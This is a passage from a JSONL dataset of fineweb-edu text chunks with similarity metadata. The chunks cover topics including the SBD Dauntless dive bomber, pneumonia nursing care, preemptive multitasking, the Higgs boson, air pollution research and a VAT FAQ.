0.35, "created_at": "2025-12-18T05:22:12.353209"} {"text": "the land - based aircraft at midway, which included 19 sbd - 2s. by june 3, the american carriers were ready and had spotted the enemy troop transports. the next day the japanese opened the battle with a strike on midway. meanwhile, a pby catalina had spotted the japanese fleet and the u. s. carriers began to launch their aircraft. because of the varying launch times and speeds of the different aircraft, the tbd torpedo planes were the first to attack the japanese carriers. the slow devastators were easy targets for the japanese fighters and were soon beaten back with no damage to the carriers. because of the uncoordinated nature of the attack, the sbd squadrons had trouble finding the carriers. the hornet sbd ' s never found the carriers. lieutenant commander wade mcclusky, the commander of the enterprise ' s air group, however, made a navigational guess that brought his vs - 6 and vb - 6 right over the japanese carriers. the attacking tbds had drawn down the japanese fighter screen and the dauntlesses found the targets wide open. japanese indecision as to whether to launch further strikes on the island or to attack the recently discovered american carriers, left bombs and torpedoes, along with aviation fuel, scattered on the carriers ' decks. at the same time as mcclusky ' s group attacked, vb - 3 from yorktown arrived. the combined onslaught rained 39 bombs on three japanese carriers in three to four minutes, and 11 direct hits mortally damaged the akagi, kaga and soryu. the fourth carrier, hiryu, was located later and was also sunk by dauntlesses. japan lost four carriers and many of its experienced aviators for the loss of 35 dauntlesses from the six navy and one marine sbd squadrons engaged. the sbd had stopped the japanese and allowed the u. s. to fight on an equal footing in the pacific. the dauntless would also play a significant part in the first major american offensive, the fight for guadalcanal. marine sbds based on the island attacked japanese ships, which were known as the \" tokyo express \", that were attempting to reinforce the island. ship - based sbds also participated in the eastern solomon ' s campaign, of which guadalcanal was a part, and sank another japanese carrier. while the sbd is most often associated with the pacific theater of operations, it did serve in a limited capacity in the atlantic. in november 1942, dauntlesses flew", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40716175513780795, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.354324"} {"text": "which guadalcanal was a part, and sank another japanese carrier. while the sbd is most often associated with the pacific theater of operations, it did serve in a limited capacity in the atlantic. in november 1942, dauntlesses flew from the carrier ranger and the escort carriers sangamon and santee in support of operation torch, the invasion of north africa. in contrast with the naval actions of the pacific, sbd attacks were mostly against ground targets in support of the allied landings. they were, however, called upon to attack seven vichy french cruisers that set out to attack the allied troopships. on november 10, nine sbds from the ranger sank the moored battleship jean bart which had been firing on the invasion fleet. with the sinking of the japanese battleship hiei in the pacific three days earlier, this was the second enemy battleship sunk by dauntlesses within one week. sbds from santee also conducted anti - submarine patrols in the atlantic during 1943, but the tbm avenger was better suited and was used more often for this type of work. marine dauntlesses operated in the patrol and scouting role from the virgin islands until mid 1944. the last offensive mission for the dauntless in the atlantic was an attack on enemy shipping in norway called operation leader. sbds from the carrier ranger attacked several ships in bodo harbor and roadstead. they sank two ships, shared in the destruction of two more, and damaged a further two. douglas continued to modify the dauntless throughout the war in an attempt to improve performance. the sbd - 4 was introduced in late 1942. it had an improved 24 - volt electrical system that allowed for the installation of radar. it also featured a hamilton - standard hydromatic propeller. but, at 245 mph maximum speed, this was also the slowest version. early in 1943 the sbd - 5, with a larger engine, started to enter squadron service. two additions that increased bombing accuracy were the replacement of the telescopic sight of the early models with a reflector sight and a heated windscreen, which overcame the fogging that had been common in the dive run. radar was also more commonly seen on this model. the additional weight of the extra equipment, however, largely cancelled out the increased horsepower. the sbd - 5 was the most produced variant of the dauntless and served throughout the battles of 1943. the last version of the dauntless, the sbd - 6 featured a larger engine, which raised top speed to 262 mph", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4214938539807212, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.355282"} {"text": ". the sbd - 5 was the most produced variant of the dauntless and served throughout the battles of 1943. the last version of the dauntless, the sbd - 6 featured a larger engine, which raised top speed to 262 mph, and service ceiling to 28, 600 ft. in all other ways, however, it differed little from the previous model. by the time it entered production, the helldiver was replacing the dauntless in the fleet and the sbd - 6 remained, for the most part, stateside. by june 1943 the u. s. navy had four new, large, essex - class cv carriers. the helldiver was supposed to be the dive - bomber assigned to the new carriers, but in the summer of 1943 it was not ready for combat. the dauntless therefore soldiered on. its role on the new carriers changed however. the new cvs could carry 100 airplanes, compared to 80 on the older carriers, and the scout squadrons were eliminated. the difference in airplanes was made up by an increase in the numbers of fighters. scout duties were now taken over by the hellcats and avengers, both of which had long range capabilities. from then on, dauntlesses would serve almost exclusively as strike aircraft. sbds continued to fly throughout 1943 and not until late in the year did the sb2c helldiver finally enter service. many navy pilots did not see the helldiver as much of an improvement over the dauntless. pilots preferred the sbd ' s more responsive controls which made it an easy plane to fly when lightly loaded. the douglas aircraft also required less maintenance hours than did the curtiss. despite the introduction of the helldiver, dauntlesses continued in navy service until july 1944 when they participated in their last mission during an attack on guam. the marines continued to use them in the philippines campaign. by the end of world war ii, most dauntlesses had been relegated to the training and utility roles. a few marine sbds, however, were still at work neutralizing bypassed garrisons in the solomons until the end of the war. the dauntless was not only used by the u. s. navy, but also by the army. the success of the german dive - bombers during the early years of the war in europe convinced some army leaders of the need for a u. s. version. limited experience with this type of aircraft and no time to develop a new design, however, dictated that the united states", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4031869251048765, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.356202"} {"text": "dive - bombers during the early years of the war in europe convinced some army leaders of the need for a u. s. version. limited experience with this type of aircraft and no time to develop a new design, however, dictated that the united states army air force ( usaaf ) place orders for the navy ' s sbd. in army service it was know as the a - 24 banshee. the main differences with the dauntless were the lack of a tailhook, and a larger pneumatic tailwheel. the banshee was delivered as the a - 24, a - 24a, and a - 24b, which were equivalent to the sbd - 3, - 4, and - 5. the idea of dive - bombing was not widely supported in the usaaf, however, and the banshee was not used extensively. in addition to the united states, new zealand ( in the solomons ) and the free french ( in europe ) also flew sbds. as late as 1949 the french were using sbds to carry out attacks on communist terrorists in indo - china. mexico flew banshees, which it had received for patrol missions in the gulf of mexico during world war ii, as border patrol planes until 1959. nasm ' s dauntless, bureau number 54605, was the sixth sbd - 6 model produced. it was accepted by the u. s. navy on march 30, 1944, and delivered a week later on april 7. it spent its entire operational career at naval air station patuxent river, maryland. from august to september 1944 it was used for tactical tests. from october 1944 to april 1948 it was used for flight tests. in may 1948 it was put in storage at nas weeksville, north carolina. stricken from navy service june 30, 1948, it was earmarked for the national collection. this was perhaps the last sbd to serve with the u. s. navy. dauntless 54605 was accessioned by the smithsonian in 1961 and restored in 1975. it was installed in the sea - air gallery in the new museum on the national mall in 1976, where it can be seen today.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.3978069604027882, "token_count": 444, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.356964"} {"text": "cough ( both productive and non productive ) nasal output, shortness of breath, tachipnea, breath sounds are limited, retraction, fever, diaporesis, ronchii, cyanosis, leukocytosis. children will experience effective breathing pattern characterized by : - voice lung breath clean and the same on both sides - the body temperature within the limits of 36. 5 to 37. 2 oc - the rate of breathing within the normal range - there is no coughing, cyanosis, nasal output, retraction and diaporesis perform assessments every 4 hours of respiration rate, temperature, and the signs of the effectiveness of the airway. r / : evaluation and reassessment of the actions that will be / have been granted. perform chest physiotherapy is scheduled r / : removing the secretion of the airway, preventing obstruction give oxygen moist, review the effectiveness of therapy r / : increased lung tissue oxygen supply give antibiotics and antipyretic, review the effectiveness and side effects ( rash, diarrhea ) r / : eradication of germs as factors causing interference. make a check photo thoracic r / : evaluation of the effectiveness of the circulation of oxygen, evaluating the condition of lung tissue perform suction gradually r : helping cleaning airway record the results of pulse oximeter when installed, every 2 - 4 hours r : evaluate periodically the success of therapy / health team action. nursing diagnosis for pneumonia : ineffective breathing pattern", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4987083853331048, "token_count": 307, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.358761"} {"text": "the leviathan of parsonstown : that \u2019 s what the public named the telescope built in 1845 by irish nobleman william parsons, the third earl of rosse. a leviathan is a giant sea monster. with a 72 - inch metal mirror weighing 4 tons and a tube 54 feet long, it \u2019 s easy to see why people were so impressed by the reflector. the telescope was the high point of lord rosse \u2019 s astronomical adventures. rosse had decided that he wanted to build the world \u2019 s largest telescope. but to do that, he first needed to build the biggest mirrors. william herschel hadn \u2019 t left behind any records of his mirror - making methods, so rosse had to start almost from scratch. over 17 years, he managed to make a 15 - inch ( 38 - centimeter ), 24 - inch ( 61 - centimeter ) and finally a 36 - inch - diameter ( 91 - centimeter ) mirror. technology improvements, such as grinding tools powered by a small steam engine, meant he had an easier time crafting the mirrors than herschel had experienced. rosse placed the 36 - inch mirror in a newtonian reflector. but he wasn \u2019 t satisfied yet. in 1842, he began to work on a 72 - inch mirror. it took five tries before he created a mirror that could be used, and 3 years to build the actual telescope. | light collector : | | metal mirror |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4593876793524495, "token_count": 289, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.360227"} {"text": "premium guide member join date : dec 2010 location : tampa, fl device ( s ) : droid 1, droid bionic, xoom thanked 1, 534 times in 989 posts hope this helps. in computing, preemption ( more correctly pre - emption ) is the act of temporarily interrupting a task being carried out by a computer system, without requiring its cooperation, and with the intention of resuming the task at a later time. such a change is known as a context switch. it is normally carried out by a privileged task or part of the system known as a preemptive scheduler, which has the power to preempt, or interrupt, and later resume, other tasks in the system. user mode and kernel mode in any given system design, some operations performed by the system may not be preemptible. this usually applies to kernel functions and service interrupts which, if not permitted to run to completion, would tend to produce race conditions resulting in deadlock. barring the scheduler from preempting tasks while they are processing kernel functions simplifies the kernel design at the expense of system responsiveness. the distinction between user mode and kernel mode, which determines privilege level within the system, may also be used to distinguish whether a task is currently preemptible. some modern systems have preemptive kernels, designed to permit tasks to be preempted even when in kernel mode. examples of such systems are solaris 2. 0 / sunos 5. 0, windows nt, the linux kernel 2. 6 and 3. x, aix and some bsd systems ( netbsd, since version 5 ). the term preemptive multitasking is used to distinguish a multitasking operating system, which permits preemption of tasks, from a cooperative multitasking system wherein processes or tasks must be explicitly programmed to yield when they do not need system resources. in simple terms : preemptive multitasking involves the use of an interrupt mechanism which suspends the currently executing process and invokes a scheduler to determine which process should execute next. therefore all processes will get some amount of cpu time at any given time. in preemptive multitasking, the operating system kernel can also initiate a context switch to satisfy the scheduling policy ' s priority constraint, thus preempting the active task. in general, preemption means \" prior seizure of \". when the high priority task at that instance seizes the currently running task, it", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.560805796560822, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.365163"} {"text": "context switch to satisfy the scheduling policy ' s priority constraint, thus preempting the active task. in general, preemption means \" prior seizure of \". when the high priority task at that instance seizes the currently running task, it is known as preemptive scheduling. the term \" preemptive multitasking \" is sometimes mistakenly used when the intended meaning is more specific, referring instead to the class of scheduling policies known as time - shared scheduling, or time - sharing. preemptive multitasking allows the computer system to more reliably guarantee each process a regular \" slice \" of operating time. it also allows the system to rapidly deal with important external events like incoming data, which might require the immediate attention of one or another process. at any specific time, processes can be grouped into two categories : those that are waiting for input or output ( called \" i / o bound \" ), and those that are fully utilizing the cpu ( \" cpu bound \" ). in early systems, processes would often \" poll \", or \" busywait \" while waiting for requested input ( such as disk, keyboard or network input ). during this time, the process was not performing useful work, but still maintained complete control of the cpu. with the advent of interrupts and preemptive multitasking, these i / o bound processes could be \" blocked \", or put on hold, pending the arrival of the necessary data, allowing other processes to utilize the cpu. as the arrival of the requested data would generate an interrupt, blocked processes could be guaranteed a timely return to execution. although multitasking techniques were originally developed to allow multiple users to share a single machine, it soon became apparent that multitasking was useful regardless of the number of users. many operating systems, from mainframes down to single - user personal computers and no - user control systems ( like those in robotic spacecraft ), have recognized the usefulness of multitasking support for a variety of reasons. multitasking makes it possible for a single user to run multiple applications at the same time, or to run \" background \" processes while retaining control of the computer. please support babyblues - or someone you know - to fight breast cancer - here ' s her pledge button -", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5690099956156178, "token_count": 461, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.366180"} {"text": "a publication of the archaeological institute of america top 10 discoveries of 2009 volume 63 number 1, january / february 2010 archaeology ' s annual list of the year ' s most exciting discoveries - - from north america ' s earliest canals to evidence for chemical warfare at a roman outpost in syria - - highlights sites, artifacts, and scientific studies we feel most enrich our knowledge of the past. archaeology is an incremental science, and \" eureka \" moments are rare. often the most significant advances result from many years of research. for instance, we feature the work of archaeologists who have dug for four decades at a second - century b. c. greek city in southern russia. they were only recently able to identify a large structure at the site as the palace of king mithradates vi, a legendary foe of rome. two elite tombs excavated this year are on the list, one belonging to a moche lord in peru and the other to a family of iron age priestesses on crete. meanwhile, graves of exotic animals now emerging at the predynastic egyptian capital of hierakonpolis show that the city ' s rulers kept extensive menageries - - the world ' s first zoos. we hope 2009 ' s remarkable finds inspire you to make your own connections with the past, and whet your appetite for the discoveries to come. as always, there were many more significant discoveries than our \" top 10 \" list allowed for. here are five more of the year ' s most important finds. maybe we should just call it the \" top 15 discoveries of 2009. \"", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4931904732662976, "token_count": 316, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.369187"} {"text": "last week ' s announcement of the discovery of a new particle seemed to answer one of the great outstanding questions in physics. but for those who haven ' t been immersed in all things lhc, the results were likely to raise all sorts of new questions ( along with \" what was all the fuss about again? \" ). so, to help navigate the post - higgs world, we put together a short q & a, based on questions that some of the ars staff had. i know we detected it in the large hadron collider, but how did they actually make higgs bosons? there are two ways to answer that question. the first is that we ' re simply converting energy into matter. the protons in the collider carry a tremendous amount of energy, and it has to go somewhere. given einstein ' s e = mc2, we know that some of that energy can be converted into matter. that ' s why things that are much heavier than two protons at rest can pop out of the collisions. but einstein ' s equations aren ' t magic, in that particles don ' t just poof into existence \u2014 there are actual processes that create them. in the lhc, the most common process that ends in a higgs boson is gluon fusion. gluons are the ( apparently massless ) carriers of the strong force that holds quarks together to form things like protons and neutrons. if two of them merge, then one possible outcome is a single higgs particle. everyone says that this particle was predicted by the standard model, but how exactly? what was missing that made people theorize the higgs? the standard model describes the properties of fundamental particles and the forces that mediate their interactions. some of these, like the photon, are massless ; others, like the w and z bosons that mediate the weak force, weigh as much as entire atoms ( including some that the weak force causes to decay ). although its possible to just say \" this is what these things weigh, \" physicists find this sort of approach dissatisfying. so, they developed a theoretical mechanism that could supply some particles with mass. several papers, appearing about the same time, suggested that there ' s a pervasive field that all particles can interact with. some, like the photon, don ' t, and remain massless. others, like the w and z bosons, undergo large interactions with the field, picking up a large mass in the process.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6604701859735165, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.376905"} {"text": "the theory. and there ' s a major extension to the standard model, called supersymmetry, that suggests that the standard model ' s particles are all parts of larger families, meaning that there would be multiple higgs bosons, and we ' ve only found one. matt strassler told ars that a few more exotic theories suggest there will be higgs - like particles that do very different things, some involving extra dimensions. it ' s only by making more of these bosons that we can start to tell these possibilities apart. which brings us to our next question. the key thing here is that, if we haven ' t found the standard model higgs, then we don ' t get to keep the standard model as it is. we could end up with a mildly tweaked version, we could have a standard model plus extensions, or we could be seeing hints of something much more significant. until we have a better understanding of the particle we ' re seeing, we can ' t tell any of these apart. if the large hadron collider was made to find the higgs, what ' s it going to do now? make more higgs, so we can answer the previous question, for starters. cern ' s director announced that it will run for a few extra months specifically to get a better statistical handle on whether this is the standard model higgs. beyond that, many other theoretical particles, including some of those predicted by things like supersymmetry, are already within reach of the energies at the lhc. once it restarts in a couple of years, it will be running at much higher energies, opening up a greater range for discovery. even if you don ' t think it ' s worth chasing down theoretical particles, the universe keeps telling us that dark matter is likely to be comprised of a heavy fundamental particle. the lhc should be able to spot these if they ' re really out there. does this eliminate the need to build another collider? actually, it will certainly inform, and possibly motivate, the construction of anything that comes next. the lhc may have been a great higgs discovery machine, but it ' s actually not so hot if we want to look at the higgs in detail ( and wanting the answers to the above should suggest we do ). the problem is that proton collisions are messy, since you ' re actually colliding what ' s essentially a bag of quarks, gluons, and virtual particles, all of which", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5993271813201576, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.381004"} {"text": "the answers to the above should suggest we do ). the problem is that proton collisions are messy, since you ' re actually colliding what ' s essentially a bag of quarks, gluons, and virtual particles, all of which may end up carrying some fraction of the total energy. all sorts of things spill out of the resulting collisions, making it difficult to separate out the higgs decay. some of the decay channels are so noisy that they actually made the discovery statistics worse in the recent announcements. a much cleaner way of going about looking at the higgs would be to collide fundamental particles, ideally with their antiparticles. we could then tune the energy to make producing our 126gev higgs much more likely. that was what motivated the construction of slac, which smashed electrons together to produce lots of the w and z bosons. unfortunately, building one will be a real challenge. electrons don ' t like to go around in circles ( they lose energy quickly ), so we ' d have to build a linear collider, one that is longer than anything we ' ve built previously. that gets expensive. the alternative is to build a muon collider, but this would involve the development of lots of new and unproven technology. in the age of tight science budgets, the prospects for a major construction project look bleak. that reminds me \u2014 the lhc cost a lot of money. couldn ' t that have been put to better use? it ' s really difficult to guess what scientific advances are going to pay dividends. logic gates were first considered around 1900 ; quantum mechanics was developed in the 1930s. it took until the 1970s for them to be married in the form that all of us now use. restriction enzymes were discovered in the 1960s when people were trying to figure out why only some viruses could infect some bacteria. they ended up being an essential foundation for the biotech industry. i could go on with examples for ages. if anyone tells you which areas of basic research will have the largest economic impact 30 years from now, i ' d bet money they ' re wrong. might the money have done more good in applied research? possibly, but even there, there are no guarantees. the technology we actually get is often radically different from what we ' d want or expect based on the state of scientific knowledge. in other words, we may want and expect flying cars, but we end up with always - online smartphones. and i ' d trade them both for fusion power,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5834987014066215, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.382148"} {"text": "in a new study of air pollution, scientists tuesday reported a link between hazy skies over u. s. cities and life - threatening illnesses, including lung cancer. a link to cancer had long been suspected but not established. now a team of researchers from canada, new york and utah has found that people living in hazy cities across the nation are more likely to die of lung cancer, heart attacks and respiratory failure than people in communities with cleaner air. they found that for every 10 micrograms of tiny particles swirling in the air, the risk of dying of lung cancer increased by 8 %. someone living in heavily polluted bakersfield or rubidoux, calif., faces a risk 20 % greater than someone living in pueblo, colo. while the threat pales in comparison with cigarette smoking or exposure to toxic chemicals in factories, it is comparable to the hazard posed by secondhand smoke, according to the american lung assn. \" this study provides the most definitive epidemiological evidence to date that long - term exposure to air pollution is associated with lung cancer deaths, \" said george thurston, a co - author of the study and associate professor of environmental medicine at new york university. the report is being published today in the journal of the american medical assn. it followed more subjects, about 500, 000 adults, for 16 years, longer than any other study of its kind and included 156 cities, ranging from buffalo to los angeles and from pittsburgh to huntington, ala. researchers from brigham young university, the university of ottawa, nyu and the american cancer society participated in the study. it was funded by grants from the national institutes of health and other government agencies. the study comes during a time of intense political debate over the future of air pollution controls, and clean - air advocates seized upon it to challenge the bush administration ' s recent attempts to alter the nation ' s clean - air regulations. two weeks ago, the white house unveiled a new anti - smog strategy for industrial and power plant emissions, but environmentalists and many air quality officials rejected it as an attempt to roll back pollution controls. last week, the epa ' s chief of air pollution enforcement resigned in protest over bush administration policies he said are weakening clean - air rules, particularly those that require power plants to install the most modern emission control equipment. emissions from power plants are a major source of haze in national parks and in the eastern half of the country. \" it makes no sense to weaken the clean air act in light of this important new evidence. it raises urgency", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.440999403530531, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.387444"} {"text": "most modern emission control equipment. emissions from power plants are a major source of haze in national parks and in the eastern half of the country. \" it makes no sense to weaken the clean air act in light of this important new evidence. it raises urgency to moving forward to reduce fine particles, \" said a. blakeman early, a consultant to the american lung assn. the new study will likely lend support to maintaining the nation ' s standard for regulating fine - particle pollution. the standard, which was approved in 1997 and affirmed by the u. s. supreme court, targets particles that are 2. 5 microns or smaller. health experts say the latest study reinforces the need to retain that air pollution standard and hasten air pollution cleanup. \" this study is good news because it shows our efforts in the past and current efforts to improve our air quality are not in vain but will in fact result in significant improvements in public health, \" said c. arden pope, the lead author of the study and an environmental epidemiologist at byu. for years, air pollution cleanup has focused on ways to reduce ozone, a gas that reduces respiratory function. yet, more and more studies implicate microscopic particles that form haze as a serious health risk. while ozone levels are generally in decline nationwide, and dramatically so in southern california, progress against particle pollution is more modest. haze comes from dust and soot. significant sources include farm equipment, dust blowing off unpaved roads, diesel trucks and buses and portable generators. the most dangerous particles are the smallest specks, which can float in the air for weeks, circumnavigate the globe and bypass the body ' s defenses to lodge deep in the lungs. those particles come primarily from fossil fuel combustion, and some are formed when emissions from power plants, factories and vehicles react with sunlight to form microscopic bits. california has some of the nation ' s highest particle pollution levels, due in part to its geography. valleys surrounded by mountains tend to trap the haze created by cars and factories. \" we recognize it [ particle pollution ] as a major problem, \" said shankar prasad, health advisor to the california air resources board. yet even in the latest study, scientists remain puzzled over which component of particle pollution is most injurious to health. some say it may be a specific component while others say the sheer volume of particles in the air is dangerous. \" it may just be the insult of particles and the reaction they instigate in the lung, \" said morton lippmann", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.476852364425947, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.388537"} {"text": "frequently asked questions on value added tax ( vat ) 1. what is vat? a. unlike the name suggest, vat is not a tax on the margin of the business. vat is a consumption tax, meaning, tax on consumption of goods by the consumers. vat is to be borne by the consumers. 2. what is the similarities and differences between sales tax and vat? a. both sales tax and vat are consumption tax. to take an example, if a consumer consumes a goods worth rs. 100 on which tax rate is 10 %, the objective of both the system is to collect rs 10 ( i. e. 10 % of rs 100 ) to the government. both are indirect tax, meaning the consumer does not pay the tax to directly the government, but to the business from whom he has purchased the goods. the business remits it to the government. in sales tax, the entire tax collected from the consumer by the dealer is paid by one of the dealer ( out of the chain through whom the goods have passed ). chain meaning chain of business comprising of manufacturer - wholeseller \u2013 intermediate \u2013 retailer etc. to take the above example, the said tax of rs. 10 would be collected from one of the person in the chain, it can be the manufacturer or wholeseller or the retailer ( depending on the type of sales tax system in the state ). in vat system, the same rs 10 would be collected in installments from every dealer in the chain. each dealer will contribute a portion of the tax in proportion to his margin of operation. 3. does vat system increase the incidence of tax on consumer? a. no. the tax incidence remains the same. 4. will vat system complicate the book of accounts to be maintained by the dealer? a. no. on the other hand, it will simplify it. a dealer is expected to maintain two registers. sales book and purchase book. in sales book, he would record chronologically sales made and tax collected from the purchaser. in purchase book, similarly, he will record purchases made and tax paid on such purchases. 5. how will the net tax payable be calculated? a. first, the \u2018 output tax \u2019 is calculated from sales book by adding the tax collected from the consumer in respect of sales made in the quarter. then \u2018 tax credit \u2019 is calculated by adding the tax paid on purchases made in the same quarter. the net tax payable is the output tax minus tax credit", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4602698859758708, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.408304"} {"text": "book by adding the tax collected from the consumer in respect of sales made in the quarter. then \u2018 tax credit \u2019 is calculated by adding the tax paid on purchases made in the same quarter. the net tax payable is the output tax minus tax credit. if this value is negative, dealer gets a refund from the department in that quarter. 6. what kind of purchases are eligible for tax credit? a. all business inputs, be it raw material, capital goods, computer, record books or anything which is used by the dealer to conduct his business. however there are two exceptions. tax credit can - not be availed in respect of purchase of items used for conducting business of exempt items. also there is a list of \u2018 non - creditable purchases \u2019 specified in the seventh schedule of the a. p. goods tax bill. 7. what is the implication of reduction of cst to zero, as announced by the chief minister? a. it means that if a dealer in arunachal pradesh makes a sale to a dealer outside arunachal pradesh, no tax will be charged by the government of arunachal pradesh. in addition, if any tax is paid on inputs to produce or trading of the said item, it will be eligible for tax credit. 8. is any declaration form required for claiming zero cst for interstate sales? a. yes. sale can be made against any cst declaration form such as c - form, f - form, h - form etc. 9. what is entry tax? will it not make purchases of a dealer in arunachal more costly? a. entry tax is a tax levied on all imports into arunachal. it is levied on all importers, ( whether dealers or consumers ) so long as the value of goods imported is more than rs. 10, 000. this entry tax levied is fully vat - able, i. e., a dealer making resale of such goods or use of such goods in his business, can claim full tax credit of entry tax paid. thus entry tax will not be an additional levy on the business, but on the other hand will protect the arunachal business from the dealers of assam, who make direct sales to consumers in arunachal pradesh. it gives level playing field to honest tax complying dealers. 10. will entry tax not cause hindrance in movement of goods at the borders? a. mostly no. the importers will be expected to pre - pay the entry tax due at the starting locations itself ( such as guwahati )", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.46508401015146034, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.409322"} {"text": ". 10. will entry tax not cause hindrance in movement of goods at the borders? a. mostly no. the importers will be expected to pre - pay the entry tax due at the starting locations itself ( such as guwahati ) before commencement of movement of goods, and carry the proof of payment. if the goods are imported through \u2018 approved road transporters \u2019, entry tax can be pain in arunachal before taking the delivery of the goods. such vehicles can pass across the borders without stopping. 11. i make purchases on inter - state basis. do i get credit of cst charged on such purchases? a. no. cst has been charged by the state of origin, and hence, arunachal government will not give any credit on account of tax charged by the other state governments. 12. is registration compulsory? a. no. registration is compulsory only to dealers whose turnover in the year exceeds rs 5 lakhs. for other dealers, it is optional. 13. can vat system work on items where mrp inclusive of tax is prescribed? a. yes. mrp can be inclusive of tax. tax component and tax exclusive price can be calculated by applying tax fraction [ r / ( r + 100 ) where r is the tax rate ] on the mrp. 14. will dealers be allowed to sell their goods without charging sales tax separately? a dealers can include tax on the sale price. 15. how will mrp mentioned on the goods be calculated in the vat system? a. mrp can be inclusive of tax and tax can be calculated by applying tax fraction. 16. will central sales tax be abolished? a. central sales tax act will not be abolished because it is required for documentation of inter - state sales. however, for inter - state sale made from arunachal, the cst rate ( against c form ) shall be zero. ( presently this rate is 4 % ) 17. will first point tax end? a. yes, the first point tax would end. 18. will the entry tax applicable be collected at the state borders? a. normally, entry tax will not be payable at borders. it is to be paid by the importer before he receives delivery of goods. we propose to install facilitation counters at rail, roads and airports to provide additional avenues for tax payment. 19. would entry tax have an negative impact on the imports to the state? a. no, entry tax just ensures levy of tax on all goods coming into arunachal. it does", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41256098886877063, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.410277"} {"text": "rail, roads and airports to provide additional avenues for tax payment. 19. would entry tax have an negative impact on the imports to the state? a. no, entry tax just ensures levy of tax on all goods coming into arunachal. it does not make imports difficult ; on the other hand, it gives level playing field to honest tax complying traders. 20. would there be uniform tax rates across the states implementing vat? a. tax system should be such that no trade diversion takes place despite tax differentials. there may exist some differential tax rates for each state implementing vat. uniform tax rates takes away the leverage of states to optimize their revenues. 21. is the tax rate going to be the same all over india? a. yes with minor variations. 22. are the tax rates the same for all items? a. there would be two basic slabs of 4 percent 12. 5 percent in which most of the goods will get covered. apart from this a very few items shall have 1 % and 20 % tax rate. essential items like foodgrains etc. shall be exempt. 23. can dealers below the threshold register? a. yes, voluntary registration is available. 24. will rc no. of purchasing dealer be required to be recorded for each transaction? a. for retail / consumer sale, details of purchaser is not required. sale to registered dealers, which are to be covered under tax invoices, name and address of purchasing dealer has to be recorded. 25. what if the total sales in the quarter are less than the purchases ( and stocks are carried forward in the next quarter )? a. you can carry forward the net credit in your favour to the next quarter. 26. what if my total tax liability on outputs is less that the tax levied on purchases? a. you can claim refund after each return. 27. would dealers be permitted to adjust the tax credit in the next financial year? a. yes, dealers would be allowed to adjust the tax credit in the next year. 28. will refund be carried forward to the next year? a. yes, you will be allowed to carry forward refund to the next year. 29. would credit be given on the tax paid on the opening stock on the commencement of the act? a. yes, credit would be given on the tax paid on the opening stock on the commencement of the act. 30. with the implementation of vat, would dealers be required to keep more working capital? a. no. the tax", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4041264573653973, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.411379"} {"text": "act? a. yes, credit would be given on the tax paid on the opening stock on the commencement of the act. 30. with the implementation of vat, would dealers be required to keep more working capital? a. no. the tax on the stock inventory is to 